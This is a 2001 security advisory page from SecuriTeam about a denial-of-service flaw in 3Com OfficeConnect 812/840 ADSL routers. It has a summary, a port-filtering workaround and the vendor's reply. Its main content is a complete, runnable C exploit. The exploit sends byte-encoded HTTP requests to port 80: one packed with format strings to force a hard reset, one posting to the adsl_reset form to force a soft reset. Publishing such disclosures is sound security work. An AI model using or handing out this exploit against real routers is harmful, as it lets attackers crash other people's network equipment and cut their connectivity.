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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	3Com OfficeConnect 812/840 Router DoS Exploit Code 5 Oct. 2001    Summary 3Com OfficeConnect 812/840 ADSL Router contains a security vulnerability that allows remote attackers to cause the router to crash.   Credit: The information has been provided by Bruno Ratnieks, Raistlin, and Tom Kinahan. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Workaround: Filtering port 80 on the WAN interface is enough to prevent this DoS. Port 53 UDP and port 23 telnet are also wide open by default. Vendor response: "It appears that both individuals posting on these products have not taken the opportunity to download the software patch for the OCR812 router software version 1.1.9. In responding to the specific points above, however, it is certainly possible to employ port filtering on the WAN interface for ports 23 and 53 if the customer desires. Following the same methodology as the port 80 filter available on the 3Com web site (http://support.3com.com/infodeli/tools/remote/ocradsl/http_filtering.pdf). More to the point however, our customers have requested that these routers be managed remotely from the WAN by default. In most cases, they also employ another method supported on these products called access lists. Access lists will only allow IP addresses in the range configured to access the management interfaces. For details on Access Lists see the Command Line Interface manual available at: http://support.3com.com/infodeli/tools/remote/ocradsl/20/812_cli20.pdf Page 6-31 details how access lists are configured. It is suggested that if access lists are used and used properly, the DoS issues below do not exist." Exploit: // 3Com OfficeConnect 812/840 ADSL Router Denial of Service (maybe others) // Proof of concept, soft and hard reset, the security is weak // Written pour sniffer <sniffer@sniffer.net> // Fri Sep 21 15:51:35 BRT 2001 // Viva Brazil! #include <stdio.h> #include <string.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> void usage(binary) char *binary; {  fprintf(stderr,"3Com OfficeConnect 812 ADSL Router Denial of Service (%s)\nsniffer <sniffer@sniffer.net>\n\t%s <1 (soft) || 2 (hard)> <remote router>\n", __FILE__, binary); } int main(argc, argv) int argc; char **argv; {  int sockfd;  char senddata[1024];  char hardreset_data[] = {   71,69,84,32,47,103,114,97,112,104,105,99,115,    47,115,109,108,51,99,111,109,37,115,37,115,37,    115,37,115,37,115,37,115,37,115,37,115,37,115,    37,115,37,115,37,115,37,115,37,115,37,115,37,    115,37,115,37,115,37,115,37,115,37,115,37,115,    37,115,37,115,37,115,37,115,37,115,37,115,37,    115,37,115,37,115,37,115,37,115,37,115,37,115,    37,115,37,115,37,115,37,115,37,115,37,115,37,    115,37,115,37,115,37,115,37,115,37,115,37,115,    37,115,37,115,37,115,37,115,37,115,37,115,37,    115,37,115,37,115,37,115,37,115,37,115,37,115,    37,115,37,115,37,115,37,115,32,72,84,84,80,    47,49,46,48,10,10,0 };   char softreset_data[] = {    80,79,83,84,32,47,70,111,114,109,115,47,97,     100,115,108,95,114,101,115,101,116,32,72,84,84,     80,47,49,46,49,10,72,111,115,116,58,32,49,     57,50,46,49,54,56,46,49,46,50,53,52,10,     67,111,110,110,101,99,116,105,111,110,58,32,99,     108,111,115,101,10,67,111,110,116,101,110,116,45,     76,101,110,103,116,104,58,32,49,57,10,10,83,     117,98,109,105,116,61,82,101,115,101,116,37,50,     48,76,105,110,101,10,10,0 };    struct hostent *he;    struct sockaddr_in their_addr;        if( argc != 3 )    {     usage(argv[0]);     exit(0);    }    if( atoi(argv[1]) >= 3 || atoi(argv[1]) == 0 )    {     usage(argv[0]);     exit(0);    }    if((he=gethostbyname(argv[2])) == NULL)    {     herror("gethostbyname");     exit(1);    }        their_addr.sin_family = AF_INET;    their_addr.sin_port = htons(80);    their_addr.sin_addr = (*(struct in_addr *)he->h_addr);    bzero(&their_addr.sin_zero, 8);        if ((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)    {     perror("socket");     exit(1);    }        if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)    {     perror("connect");     exit(1);    }    else    {     printf("connected\n");    }    if(atoi(argv[1]) == 1)     strncpy(senddata, softreset_data, strlen(softreset_data));    else if(atoi(argv[1]) == 2)     strncpy(senddata, hardreset_data, strlen(hardreset_data));        if(send(sockfd, senddata, sizeof(senddata), 0) == -1)    {     perror("send");     exit(1);    }    else    {     printf("evil data sent\n.. have a rice day\n");    }        close(sockfd);    return(0); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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